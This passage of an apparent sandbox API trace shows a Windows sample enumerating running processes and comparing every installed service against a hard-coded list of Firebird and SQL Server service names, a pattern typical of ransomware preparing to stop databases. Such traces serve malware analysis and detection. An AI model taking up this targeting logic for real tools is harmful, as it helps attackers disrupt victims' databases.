hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0132.697] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0132.697] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0132.698] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0132.698] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0132.699] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0132.699] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0132.701] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0132.701] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0132.701] lstrlenW (lpString="concerned venture.exe") returned 21 [0132.702] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0132.702] lstrlenW (lpString="organizingscsi.exe") returned 18 [0132.703] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0132.703] lstrlenW (lpString="airplane placing.exe") returned 20 [0132.703] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0132.704] lstrlenW (lpString="circus.exe") returned 10 [0132.704] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0132.705] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0132.705] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0132.705] lstrlenW (lpString="das.exe") returned 7 [0132.705] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0132.706] lstrlenW (lpString="beam removable.exe") returned 18 [0132.706] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0132.707] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0132.707] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0132.707] lstrlenW (lpString="dome.exe") returned 8 [0132.707] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0132.708] lstrlenW (lpString="wiresjacket.exe") returned 15 [0132.708] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0132.709] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0132.709] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0132.710] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0132.710] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0132.711] lstrlenW (lpString="tested.exe") returned 10 [0132.711] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0132.712] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0132.712] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0132.712] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0132.712] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0132.713] lstrlenW (lpString="level.exe") returned 9 [0132.713] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0132.714] lstrlenW (lpString="dllhost.exe") returned 11 [0132.714] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0132.715] lstrlenW (lpString="conhost.exe") returned 11 [0132.715] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0132.716] lstrlenW (lpString="conhost.exe") returned 11 [0132.716] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.716] lstrlenW (lpString="svchost.exe") returned 11 [0132.717] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0132.717] lstrlenW (lpString="load0.exe") returned 9 [0132.717] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0132.718] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0132.718] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0132.719] lstrlenW (lpString="conhost.exe") returned 11 [0132.719] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0132.720] lstrlenW (lpString="cmd.exe") returned 7 [0132.720] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0132.721] lstrlenW (lpString="conhost.exe") returned 11 [0132.721] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.721] lstrlenW (lpString="svchost.exe") returned 11 [0132.721] Process32NextW (in: hSnapshot=0x108c, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0132.722] CloseHandle (hObject=0x108c) returned 1 [0132.722] Sleep (dwMilliseconds=0x1f4) [0133.233] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e36b8 [0133.234] EnumServicesStatusExW (in: hSCManager=0x5e36b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0133.234] GetLastError () returned 0xea [0133.234] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1d5a) returned 0x69bb60 [0133.234] EnumServicesStatusExW (in: hSCManager=0x5e36b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x69bb60, cbBufSize=0x1d5a, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x69bb60, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0133.235] CloseServiceHandle (hSCObject=0x5e36b8) returned 1 [0133.235] lstrlenW (lpString="Appinfo") returned 7 [0133.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0133.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0133.235] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0133.235] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0133.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0133.235] lstrlenW (lpString="AppXSvc") returned 7 [0133.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0133.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0133.235] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0133.235] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0133.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0133.235] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0133.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0133.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0133.235] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0133.235] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0133.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0133.235] lstrlenW (lpString="Audiosrv") returned 8 [0133.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0133.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0133.236] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0133.236] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0133.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0133.236] lstrlenW (lpString="BFE") returned 3 [0133.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0133.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0133.236] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0133.236] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0133.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0133.236] lstrlenW (lpString="BITS") returned 4 [0133.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0133.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0133.236] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0133.236] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0133.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0133.236] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0133.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0133.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0133.236] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0133.236] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0133.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0133.236] lstrlenW (lpString="CDPSvc") returned 6 [0133.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0133.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0133.236] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0133.236] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0133.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0133.236] lstrlenW (lpString="ClickToRunSvc") returned 13 [0133.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0133.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0133.236] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0133.236] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0133.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0133.237] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0133.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0133.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0133.237] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0133.237] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0133.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0133.237] lstrlenW (lpString="CryptSvc") returned 8 [0133.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0133.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0133.237] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0133.237] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0133.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0133.237] lstrlenW (lpString="DcomLaunch") returned 10 [0133.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0133.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0133.237] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0133.237] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0133.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0133.237] lstrlenW (lpString="DeviceAssociationService") returned 24 [0133.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0133.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0133.237] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0133.237] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0133.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0133.237] lstrlenW (lpString="Dhcp") returned 4 [0133.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0133.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0133.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0133.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0133.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0133.237] lstrlenW (lpString="Dnscache") returned 8 [0133.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0133.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0133.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0133.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0133.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0133.238] lstrlenW (lpString="DoSvc") returned 5 [0133.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0133.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0133.238] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0133.238] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0133.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0133.238] lstrlenW (lpString="DPS") returned 3 [0133.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0133.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0133.238] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0133.238] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0133.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0133.238] lstrlenW (lpString="DusmSvc") returned 7 [0133.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0133.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0133.238] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0133.238] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0133.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0133.238] lstrlenW (lpString="EventLog") returned 8 [0133.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0133.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0133.238] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0133.238] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0133.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0133.238] lstrlenW (lpString="EventSystem") returned 11 [0133.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0133.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0133.238] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0133.238] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0133.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0133.238] lstrlenW (lpString="FontCache") returned 9 [0133.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0133.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0133.238] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0133.238] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0133.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0133.238] lstrlenW (lpString="gpsvc") returned 5 [0133.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0133.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0133.239] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0133.239] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0133.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0133.239] lstrlenW (lpString="iphlpsvc") returned 8 [0133.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0133.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0133.239] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0133.239] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0133.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0133.239] lstrlenW (lpString="KeyIso") returned 6 [0133.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0133.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0133.239] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0133.239] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0133.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0133.239] lstrlenW (lpString="LanmanServer") returned 12 [0133.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0133.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0133.239] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0133.239] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0133.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0133.239] lstrlenW (lpString="LanmanWorkstation") returned 17 [0133.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0133.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0133.239] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0133.239] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0133.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0133.239] lstrlenW (lpString="lfsvc") returned 5 [0133.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0133.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0133.239] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0133.239] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0133.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0133.239] lstrlenW (lpString="lmhosts") returned 7 [0133.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0133.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0133.240] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0133.240] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0133.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0133.240] lstrlenW (lpString="LSM") returned 3 [0133.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0133.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0133.240] lstrcmpiW (lpString1="sqlwriter", 